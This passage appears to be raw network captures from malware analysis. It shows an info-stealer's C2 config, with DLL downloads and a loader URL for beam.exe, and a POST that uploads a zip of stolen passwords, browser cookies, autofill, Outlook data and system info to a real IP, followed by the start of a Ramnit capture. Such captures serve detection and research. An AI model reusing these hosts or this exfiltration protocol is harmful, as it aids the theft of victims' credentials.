Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 30 Sep 2019 19:36:57 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Origin: *
{"url":"http://35.189.105.242/file_handler/file.php?hash=559f10a49e5f74c12b67d2b61c0dea701f752e43&js=cbe0dbfb63ca8503c1938fc9cdd5f5f3818d81b9&callback=http://35.189.105.242/gate","attachment_url":"http://35.189.105.242/gate/sqlite3.dll","libraries":"http://35.189.105.242/gate/libs.zip","ip":"89.187.165.57","config":{"masks":null,"loader_urls":["https://mygift.space/download/beam.exe"]},"is_screen_enabled":0,"is_history_enabled":0}HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 30 Sep 2019 19:36:57 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Origin: *
{"url":"http://35.189.105.242/file_handler/file.php?hash=559f10a49e5f74c12b67d2b61c0dea701f752e43&js=cbe0dbfb63ca8503c1938fc9cdd5f5f3818d81b9&callback=http://35.189.105.242/gate","attachment_url":"http://35.189.105.242/gate/sqlite3.dll","libraries":"http://35.189.105.242/gate/libs.zip","ip":"89.187.165.57","config":{"masks":null,"loader_urls":["https://mygift.space/download/beam.exe"]},"is_screen_enabled":0,"is_history_enabled":0}POST /file_handler/file.php?hash=559f10a49e5f74c12b67d2b61c0dea701f752e43&js=cbe0dbfb63ca8503c1938fc9cdd5f5f3818d81b9&callback=http://35.189.105.242/gate HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data, boundary=Jfbvjwj3489078yuyetu
Content-Length: 2152
Host: 35.189.105.242
._=
--Jfbvjwj3489078yuyetu
content-disposition: form-data; name="file"; filename="data.zip"
Content-Type: application/octet-stream
PK..........>O..5kf.......
...passwords.txtUT
..`Y.]ZY.]ZY.]..w..Rp..O.IUp.(..M......
f....[.....%&.&..g.%....r........R+.
.K@..\....P....bcS3^.^.`..n.E.n..0.I2..PK..........>O"..:............browsers/firefox_cookie.txtUT
..`Y.]`Y.]`Y.]..KK.@...S.O.8..+.. .+..kJ6a..!. mb...T.qQ......
.@...:.,m..y....
a...RK.
.......]w.\.U.k...L<..........s.m...|..9=.].l..0...7W...zY..mi....e...........di"..|M.t2...T..E...6.RI...dB.-s..c<.c.......;.r..E....tr.[..
......g@..X....^.Dl.`W.?.YQ.o...F...$\..K..v..+..." 0.|.PK..........>O................browsers/firefox_urls.txtUT
..`Y.]`Y.]`Y.]..K..0...= w....>hI....4..(h.lI[.zz....v7.........s.......}.MS...@kd_.n........Vw.e.
........H1%.@.8._..A.+\.U._.O.....,C1..q..tj.......'......`..c_.+.Z.N...(2,....|.. 8.vd.f.p.1.,y..PK..........>O.JJ.:...Z.......browsers/chrome_autofill.txtUT
..ZY.]ZY.]ZY.]s./.U.K.M.Rp.,*...2y..@.e.9.@a.......^..0D.O"6.A.)E.... ..PK..........>O..GMN...|.......mails/outlook.txtUT
..eY.]eY.]eY.]..
P.N-*K-.2.4.34..3.3..
..0.*.....c....Z.P._.....U.Z.T.M" ...<.(."Y......r..PK..........>O..DH....o.......System Info.txtUT
..eY.]eY.]eY.]mR]k.0.}^ ..>&.6.l..`0'Y..f.$...(.....d$;k..'ws)ez.:..su?~.D][k.....~A.W.3...F....Qx..d.+-...Vi..bn...?.K....V...;...K ^..x..P.1-....8.G..2...pE..<........Y.........?..".~.5....c.F|........0..u8;....h..2.. X....g..a"..|.>T;.IV$.[.,[...{...c..
. ...f.e.y...%k.[-.@.U..C7?.yX.a.p..o*.8.6..PI.v..7.......Tm.y..?PK............>O..5kf.......
. ....... .......passwords.txtUT...`Y.]PK............>O"..:.......... ....... .......browsers/firefox_cookie.txtUT...`Y.]PK............>O.............. ....... .......browsers/firefox_urls.txtUT...`Y.]PK............>O.JJ.:...Z..... ....... .......browsers/chrome_autofill.txtUT...ZY.]PK............>O..GMN...|..... ....... ...~...mails/outlook.txtUT...eY.]PK............>O..DH....o..... ....... .......System Info.txtUT...eY.]PK....................
--Jfbvjwj3489078yuyetu--HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 30 Sep 2019 19:37:10 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Origin: *
true"success"
~~~
#### Ramnit
~~~
GET / HTTP/1.1
Host: www.yx-lj.com
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 200 OK
Content-Length: 114482
Content-Type: text/html
Content-Location: http://www.yx-lj.com/index.htm
Last-Modified: Tue, 21 May 2019 01:43:35 GMT
Accept-Ranges: bytes
ETag: "47c7bf9a76fd51:ac9"
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Thu, 17 Oct 2019 18:56:31 GMT
..........
..........